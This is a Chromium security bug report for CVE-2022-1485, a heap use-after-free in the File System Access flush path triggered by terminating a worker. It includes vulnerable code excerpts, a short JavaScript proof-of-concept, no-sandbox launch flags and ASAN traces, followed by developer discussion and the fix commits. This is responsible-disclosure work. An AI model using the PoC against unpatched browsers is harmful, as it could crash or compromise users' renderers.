Starred by 2 users

Owner:	asully@chromium.org
CC:	danakj@chromium.org mlippautz@chromium.org mek@chromium.org dcheng@chromium.org pwnall@chromium.org vahl@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>Storage>FileSystem Blink>GarbageCollection
Modified:	Jul 29, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Windows
Pri:	1
Type:	Bug-Security

Security_Severity-Medium
Arch-x86_64
reward-7500
allpublic
reward-inprocess
Via-Wizard-Security
CVE_description-submitted
external_security_report
M-99
Target-99
FoundIn-96
Security_Impact-Extended
Release-0-M101
CVE-2022-1485

Issue 1299743: Security: heap-use-after-free in FileSystemAccessRegularFileDelegate::DoFlush

Reported by m.coo...@gmail.com on Tue, Feb 22, 2022, 6:51 AM EST

Code

UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.0 Safari/537.36

Steps to reproduce the problem:
#TestOn
Windows NT 10.0; Win64; x64
git log
commit 4eaca9f30aab81de5f1ca93e7feb56d17c74c492 (HEAD -> main, origin/main, origin/HEAD)

#Reproduce
Apply rca.diff for easy reproduce
chrome --js-flags="-expose-gc --allow-natives-syntax" --no-sandbox --enable-blink-test-features localhost\poc.html

What is the expected behavior?

What went wrong?
Type of crash
render tab

#Analysis
Same as 1240593 root cause(https://bugs.chromium.org/p/chromium/issues/detail?id=1240593)
1. FileSystemAccessRegularFileDelegate::Flush can called from worker thread[1]
2. DoFlush called from worker_pool and use WrapCrossThreadPersistent(this) to pass FileSystemAccessRegularFileDelegate[2]
3. When worker thread get terminal, FileSystemAccessRegularFileDelegate will get freed.
4. There's a very subtle race condition here,When the delegate itself is dereferenced, the worker thread has not been terminated, so the delegate has not been freed, and the delegate may have been freed when used by subsequent members.
If the statement x.y.z is split into v1=x.y;v1.z, it will be easy to reproduce

```
void FileSystemAccessRegularFileDelegate::Flush(
    base::OnceCallback<void(bool)> callback) {
  auto wrapped_callback =
      CrossThreadOnceFunction<void(bool)>(std::move(callback));

  // Flush file on a worker thread and reply back to this sequence.
  worker_pool::PostTask(        <<[1]
      FROM_HERE, {base::MayBlock()},
      CrossThreadBindOnce(&FileSystemAccessRegularFileDelegate::DoFlush,
                          WrapCrossThreadPersistent(this),
                          std::move(wrapped_callback), task_runner_));
}


// static
void FileSystemAccessRegularFileDelegate::DoFlush(
    CrossThreadPersistent<FileSystemAccessRegularFileDelegate> delegate
```

```
  CrossThreadPersistent<FileSystemAccessRegularFileDelegate> delegate,
  CrossThreadOnceFunction<void(bool)> wrapped_callback,
  scoped_refptr<base::SequencedTaskRunner> task_runner) {
 bool result = delegate->backing_file_.Flush();      <<[2]
 PostCrossThreadTask(*task_runner, FROM_HERE,
                     CrossThreadBindOnce(std::move(wrapped_callback), result));
}
```

```
#poc
<script >
async function runInWorker() {
{
 let v1713 = await self.navigator.storage.getDirectory();
  /*FileSystemGetFileOptions*/ let v1716 = {create:true};
 /*ret_getFileHandle_type*/ let v1712 = await v1713.getFileHandle("mtime1.txt", v1716);
  /*ret_createSyncAccessHandle_type*/ let v1711 = await v1712.createSyncAccessHandle();
  v1711.flush();
 v1711.close();
 postMessage('');
}
}

let blob = new Blob([`(${runInWorker}())`], {type: "text/javascript"});
let url = URL.createObjectURL(blob);

worker = new Worker(url);
worker.onmessage = () => worker.terminate();
gc();
</script>
```

Did this work before? N/A

Chrome version: 99.0.4844.0 Channel: n/a
OS Version: 10.0

poc.html
706 bytes View Download

rca.diff
1.1 KB View Download

asan.txt
9.1 KB View Download

Comment 1 by sheriffbot on Tue, Feb 22, 2022, 6:52 AM EST Project Member

Labels: external_security_report

Comment 2 by danakj@chromium.org on Wed, Feb 23, 2022, 12:56 PM EST Project Member

Labels: Needs-Feedback

I tried Linux M96, 98, 99, 100 but none reproduce for me. It just sits at the blank page. I used

./chrome --js-flags=" expose-gc --allow-natives-syntax" --no-sandbox --enable-blink-test-features ./poc.html

./chrome --js-flags= -expose-gc --allow-natives-syntax --no-sandbox --enable-blink-test-features ../poc.html

Is this windows-specific somehow? That would be surprising. Anything else?

Comment 3 by m.coo...@gmail.com on Wed, Feb 23, 2022, 9:28 PM EST

I don't think it's windows-specific.

Reproduce need win the race,Applying the rca.diff patch will make it easy to reproduce.

Comment 4 by sheriffbot on Wed, Feb 23, 2022, 9:29 PM EST Project Member

Cc: danakj@chromium.org
Labels: -Needs-Feedback

Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 5 by danakj@chromium.org on Thu, Feb 24, 2022, 12:42 PM EST Project Member

Labels: Needs-Feedback
Components: Blink

This seems to require the patch to reproduce? The posted task holds a reference on the delegate so as long as the Flush task is running the delegate can't be destroyed.

Also WrapWeakPersistent(this) will take a reference on `this` as well. Could you provide a repro without a patch, or an ASAN stack trace to show the UAF, allocation, and destroy stacks?

Comment 6 by m.coo...@gmail.com on Thu, Feb 24, 2022, 10:05 PM EST

Patch is just for easy reproduce.

Borrow a detailed explanation from glazunov:

`ThreadedIconLoader::DidFinishLoading` posts the `DecodeAndResizeImageOnBackgroundThread` task to the worker pool. Wrapping `this` in `CrossThreadPersistent`[1] is supposed to prevent the object from being collected by the GC until the task is finished. However, the thread termination GC does not respect `CrossThreadPersistent` pointers. Therefore, if an attacker manages to terminate the thread that has posted the task before it's finished, `DecodeAndResizeImageOnBackgroundThread` will access the (implicit `this`) dangling pointer[2].

For more details, see these two reports by glazunov
https://bugs.chromium.org/p/chromium/issues/detail?id=1241091
https://bugs.chromium.org/p/chromium/issues/detail?id=1240593

Comment 7 by sheriffbot on Thu, Feb 24, 2022, 10:10 PM EST Project Member

Labels: -Needs-Feedback

Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 8 by m.coo...@gmail.com on Thu, Feb 24, 2022, 10:13 PM EST

Also provide evidence that delegate was freed by thread termination GC.

```
```

```
[2868:18856:/.500:ERROR:file_system_access_regular_file_delegate.cc(31)]
[11000]FileSystemAccessFileDelegate::Dispose: this00007EA600501F60
Backtrace:
	base::debug::CollectStackTrace [0x00007FFE7EE33FE2+18] (\src\base\debug\stack_trace_win.cc:305)
	base::debug::StackTrace::StackTrace [0x00007FFE7EB1313A+26] (\src\base\debug\stack_trace.cc:219)
	blink::FileSystemAccessRegularFileDelegate::Dispose [0x00007FFE334403DD+505]
(\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.cc:33)
	blink::FileSystemAccessRegularFileDelegate::InvokePreFinalizer [0x00007FFE3344715F+35]
(\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.h:35)
	cppgc::internal::PreFinalizerHandler::InvokePreFinalizers [0x00007FFE4482707D+3501]
(\src\v8\src\heap\cppgc\prefinalizer-handler.cc:72)
	cppgc::internal::HeapBase::Terminate [0x00007FFE447F5F14+724] (\src\v8\src\heap\cppgc\heap-base.cc:170)
	blink::ThreadState::DetachCurrentThread [0x00007FFE37EB901E+78]
(\src\third_party\blink\renderer\platform\heap\thread_state.cc:129)
	blink::scheduler::WorkerThread::GCSupport::~GCSupport [0x00007FFE3811E4B7+35]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:131)

std::__1::unique_ptr<blink::scheduler::WorkerThread::GCSupport,std::__1::default_delete<blink::scheduler::WorkerThread::
GCSupport> >::reset [0x00007FFE3811E58E+44]
(\src\buildtools\third_party\libc++\trunk\include\__memory\unique_ptr.h:315)
	blink::scheduler::WorkerThread::ShutdownOnThread [0x00007FFE3811DA91+49]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:81)
	blink::WorkerBackingThread::ShutdownOnBackingThread [0x00007FFE3E5730CF+479]
(\src\third_party\blink\renderer\core\workers\worker_backing_thread.cc:112)
	blink::WorkerThread::PerformShutdownOnWorkerThread [0x00007FFE3E59D34C+796]
(\src\third_party\blink\renderer\core\workers\worker_thread.cc:782)
	base::TaskAnnotator::RunTaskImpl [0x00007FFE7ECF11F5+933] (\src\base\task\common\task_annotator.cc:135)
	base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl
[0x00007FFE7ED44F79+1209] (\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:385)
	base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork [0x00007FFE7ED4454A+410]
(\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:290)
	base::MessagePumpDefault::Run [0x00007FFE7EB8A878+712]
(\src\base\message_loop\message_pump_default.cc:38)
	base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run [0x00007FFE7ED46771+753]
(\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:497)
	base::RunLoop::Run [0x00007FFE7EC3D8E4+1300] (\src\base\run_loop.cc:143)
	blink::scheduler::WorkerThread::SimpleThreadImpl::Run [0x00007FFE3811E895+749]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:154)
	base::`anonymous namespace'::ThreadFunc [0x00007FFE7EE81830+608]
(\src\base\threading\platform_thread_win.cc:121)
	_asan_print_accumulated_stats [0x00007FFE7DB4E5C4+5604]
	BaseThreadInitThunk [0x00007FFEF2FE7034+20]
	RtlUserThreadStart [0x00007FFEF3CE2651+33]
=================================================================
==2868==ERROR: AddressSanitizer: unknown-crash on address 0x7ea600501fa0 at pc 0x7ffe3344415b bp
0x009a59dfe850 sp 0x009a59dfe898
WRITE of size 8 at 0x7ea600501fa0 thread T18
==2868==*** WARNING: Failed to initialize DbgHelp!              ***
==2868==*** Most likely this means that the app is already      ***
==2868==*** using DbgHelp, possibly with incompatible flags.    ***

==2868==*** Due to technical reasons, symbolization might crash ***
==2868==*** or produce wrong results.                           ***
    #0 0x7ffe3344415b in blink::FileSystemAccessRegularFileDelegate::DoFlush
```

```
    #0 0x7ffe33444f5a in blink::FileSystemAccessRegularFileDelegate::DoFlush
\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.cc:276
    #1 0x7ffe33446ae9 in base::internal::Invoker<base::internal::BindState<void (*)
(cppgc::internal::BasicCrossThreadPersistent<blink::FileSystemAccessRegularFileDelegate,cppgc::internal::StrongCrossThreadPersistentPolicy,cppgc::internal::IgnoreLocationPolicy,cppgc::internal::DisabledCheckingPolicy>,
WTF::CrossThreadOnceFunction<void (bool)>,
scoped_refptr<base::SequencedTaskRunner>),cppgc::internal::BasicCrossThreadPersistent<blink::FileSystemAccessRegularFileDelegate,cppgc::internal::StrongCrossThreadPersistentPolicy,cppgc::internal::IgnoreLocationPolicy,cppgc::internal::DisabledCheckingPolicy>,WTF::CrossThreadOnceFunction<void (bool)>,scoped_refptr<base::SequencedTaskRunner>
>,void ()>::RunOnce \src\base\bind_internal.h:748
    #2 0x7ffe7ecf11f4 in base::TaskAnnotator::RunTaskImpl \src\base\task\common\task_annotator.cc:135
    #3 0x7ffe7ed776d4 in base::internal::TaskTracker::RunTaskImpl \src\base\task\thread_pool\task_tracker.cc:710
    #4 0x7ffe7ed78752 in base::internal::TaskTracker::RunSkipOnShutdown \src\base\task\thread_pool\task_tracker.cc:695
```

Comment 9 by jstenback@google.com on Fri, Feb 25, 2022, 1:12 PM EST Project Member

Components: -Blink Blink>Storage>FileSystem

Comment 10 by m.coo...@gmail.com on Tue, Mar 1, 2022, 11:24 AM EST

Has anyone taken over this issue?

Comment 11 by danakj@chromium.org on Tue, Mar 1, 2022, 1:51 PM EST Project Member

Status: Assigned (was: Unconfirmed)
Owner: asully@chromium.org
Cc: dcheng@chromium.org mlippautz@chromium.org mek@chromium.org pwnall@chromium.org
Labels: Security_Severity-Medium
Components: Blink>GarbageCollection

Thanks, I see. So the worker_pool thread is dying, dropping its reference to FileSystemAccessRegularFileDelegate. I get very confused how the thread then still runs a task posted to it, the DoFlush.

Maybe there's something more going on with Oilpan, it seems that WrapCrossThreadPersistent is broken - but I can't tell how.

Does your ASAN not report the free and allocation stacks as well? Then it would show the threads, maybe that would explain this to me.

I will assign to the filesystem folks to help look more, and cc oilpan memory safety folks. I still don't really get the order of things that causes a UAF here without the patch. Maybe there's confusion cuz there's _two_ worker threads?

Thread A owns the delegate, posts a WrapCrossThreadPersistent of the delegate to B.
Then I don't know which thread is dying. Presumably A, cuz the task is still running on B?
And dropping A deletes any objects even if there are outstanding Persistent pointers to it.
So...

A needs to block on the delegate task on B finishing to avoid B using a deleted thing?
Or A needs to not delete Persistent things, or crash safely when it detects this problem?
Or A needs to post something that more strongly owns the delegate than Persistent?

Comment 12 by danakj@chromium.org on Tue, Mar 1, 2022, 1:53 PM EST Project Member

Labels: FoundIn-96

Moving the flush to the worker pool happened in r910451 which is before M96.

Comment 13 by mek@chromium.org on Tue, Mar 1, 2022, 1:57 PM EST Project Member

"it seems that WrapCrossThreadPersistent is broken - but I can't tell how." I think it is working as documented (and unfortunately this isn't the first time we run into similar issues). blink::CrossThreadPersistent is an alias for cppgc::subtle::CrossThreadPersistent, which says:

DO NOT USE: Has known caveats, see below. - Does not protect the heap owning an object from terminating.

(it's kind of unfortunate that similarly strong language isn't there on the blink aliases for these types though).

Comment 14 by sheriffbot on Tue, Mar 1, 2022, 1:57 PM EST Project Member

Labels: Security_Impact-Extended

Comment 15 by mlippautz@chromium.org on Tue, Mar 1, 2022, 2:08 PM EST Project Member

CrossThreadPersistent has existed for a long time and so have the issues with it. One of which is that terminating threads need to ignore it (but will null out the reference) to allow shutting down workers.

We should document the Blink side of the API though. Essentially this is an expert API which has a few footguns.

We'd love to get rid of it but we currently cannot deprecate it because there's some usage in Blink which requires cross-thread access that was introduced a long time ago. We have introduced a better concept in for off-thread usage of managed memory last year in V8 (LocalHeap) which we are happy with but didn't have time/resources yet to fix the Blink side.

Comment 16 by danakj@chromium.org on Tue, Mar 1, 2022, 2:12 PM EST Project Member

Does that mean this is not a Use-after-free?

Comment 17 by asully@chromium.org on Tue, Mar 1, 2022, 4:28 PM EST Project Member

Status: Started (was: Assigned)

It looks like the issue here is that we're accessing the delegate from the worker in DoFlush (and other Do* methods) after the delegate may have been destroyed.

We'll have to do something similar to what NativeIOFile does, where the base::File object itself is owned by a separately refcounted class (FileState) to ensure that it's lifetime isn't tied to the delegate.
https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/modules/native_io/native_io_file.cc;l=66

Comment 18 by m.coo...@gmail.com on Tue, Mar 1, 2022, 10:20 PM EST

Re #c11
I think you confuse about two "worker thread".

1. "worker_pool::PostTask" is run on "Worker thread" which created by new Worker().
2. DoFlush is run on workpool,has nothing to do with “Worker thread[1]”
3. worker_pool thread is not dying,“Worker thread[1]” is dying because we call worker.terminate();

Comment 19 by Git Watcher on Wed, Mar 2, 2022, 9:19 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/224c3928e875078766e2f2df03aa78b81418011b

commit 224c3928e875078766e2f2df03aa78b81418011b
Author: Michael Lippautz <mlippautz@chromium.org>
Date: Wed Mar 02 14:18:25 2022

CrossThreadPersistent: Improve documentation

CTP and CTWP are expert APIs that result in UAFs on misuse. This is
already documented on the cppgc namespace. Move the same documentation
over to Blink to make others aware of the caveats.

~~Bug: chromium:1299743~~
Change-Id: Ie1b78a435a23efc29893ef9f80606997915e4dda
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3500222
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Omer Katz <omerkatz@chromium.org>
Commit-Queue: Michael Lippautz <mlippautz@chromium.org>
Cr-Commit-Position: refs/heads/main@{#976643}

[modify]
https://crrev.com/224c3928e875078766e2f2df03aa78b81418011b/third_party/blink/renderer/platform/heap/persistent.h

Comment 20 by sheriffbot on Wed, Mar 2, 2022, 12:52 PM EST Project Member

Labels: M-99 Target-99

Setting milestone and target because of medium severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 21 by sheriffbot on Wed, Mar 2, 2022, 1:18 PM EST Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 22 by Git Watcher on Fri, Mar 11, 2022, 5:09 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/cf64617c1cc509f1dc88adb068ef64e61457bc0f

commit cf64617c1cc509f1dc88adb068ef64e61457bc0f
Author: Austin Sullivan <asully@chromium.org>
Date: Fri Mar 11 10:08:55 2022

FSA: Pass File ownership to worker for async FSARFD file operations

We cannot access the backing file as a member of the
FileSystemAccessRegularFileDelegate since WrapCrossThreadPersistent
does NOT cancel the task posted to the worker pool if delegate is
destroyed. Passing ownership to the worker task ensures the file must
be alive when used. After the operation, ownership of the file is
passed back to the delegate.

This pattern was already used for the SetLength operation on old Macs.

~~Bug: 1299743~~
Change-Id: Ie00c09e8f77dc353f280af726a68ed6c572b750b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3498864
Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
Commit-Queue: Austin Sullivan <asully@chromium.org>
Cr-Commit-Position: refs/heads/main@{#980167}

[modify]
https://crrev.com/cf64617c1cc509f1dc88adb068ef64e61457bc0f/third_party/blink/renderer/modules/file_system_access/file_system_access_regular_file_delegate.cc
[modify]
https://crrev.com/cf64617c1cc509f1dc88adb068ef64e61457bc0f/third_party/blink/renderer/modules/file_system_access/file_system_access_regular_file_delegate.h

Comment 23 by amyressler@chromium.org on Mon, Mar 14, 2022, 4:55 PM EDT Project Member

Labels: Restrict-View-SecurityEmbargo

setting RV-SE at reporting researcher's request

Comment 24 by m.coo...@gmail.com on Tue, Mar 15, 2022, 11:51 AM EDT

owner@ Can we set the issue status to fixed.

Comment 25 by Git Watcher on Thu, Mar 17, 2022, 6:24 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/9d06234e50ac61c0d31c8e7616f23f3b13e69d75

commit 9d06234e50ac61c0d31c8e7616f23f3b13e69d75
Author: Michael Lippautz <mlippautz@chromium.org>
Date: Thu Mar 17 10:23:25 2022

Clarify caveats of CrossThreadWeakPersistent

CTWP also does not protect against the heap owning the object from
terminating. Add an explicit note describing this scenario.

~~Bug: chromium:1299743~~
Change-Id: I3441206aa8602fa88cde9265d4970e606b5943d0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3532068
Commit-Queue: Michael Lippautz <mlippautz@chromium.org>
Auto-Submit: Michael Lippautz <mlippautz@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Commit-Queue: Kentaro Hara <haraken@chromium.org>
Cr-Commit-Position: refs/heads/main@{#982115}

[modify]
https://crrev.com/9d06234e50ac61c0d31c8e7616f23f3b13e69d75/third_party/blink/renderer/platform/heap/persistent.h

Comment 26 by asully@chromium.org on Thu, Mar 17, 2022, 6:18 PM EDT Project Member

Status: Fixed (was: Started)

Comment 27 by sheriffbot on Fri, Mar 18, 2022, 12:41 PM EDT Project Member

Labels: reward-topanel

Comment 28 by sheriffbot on Fri, Mar 18, 2022, 1:41 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 29 by amyressler@google.com on Thu, Mar 31, 2022, 5:15 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 30 by amyressler@chromium.org on Thu, Mar 31, 2022, 5:39 PM EDT Project Member

Labels: -Restrict-View-SecurityEmbargo

Congratulations on yet another one! The VRP Panel has decided to award you $7500 for this report. Thank you for your efforts and great work!

(removing RV-SE as discussed off-bug, please feel free to reach out directly if there are any issues)

Comment 31 by amyressler@google.com on Fri, Apr 1, 2022, 3:57 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 32 by amyressler@chromium.org on Mon, Apr 25, 2022, 8:38 PM EDT Project Member

Labels: Release-0-M101

Comment 33 by amyressler@google.com on Tue, Apr 26, 2022, 4:31 PM EDT Project Member

Labels: CVE-2022-1485 CVE_description-missing

Comment 34 by sheriffbot on Fri, Jun 24, 2022, 1:31 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 35 by amyressler@google.com on Tue, Jul 26, 2022, 5:37 PM EDT Project Member

Labels: CVE_description-submitted -CVE_description-missing

Comment 36 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT Project Member

Labels: -CVE_description-missing --CVE_description-missing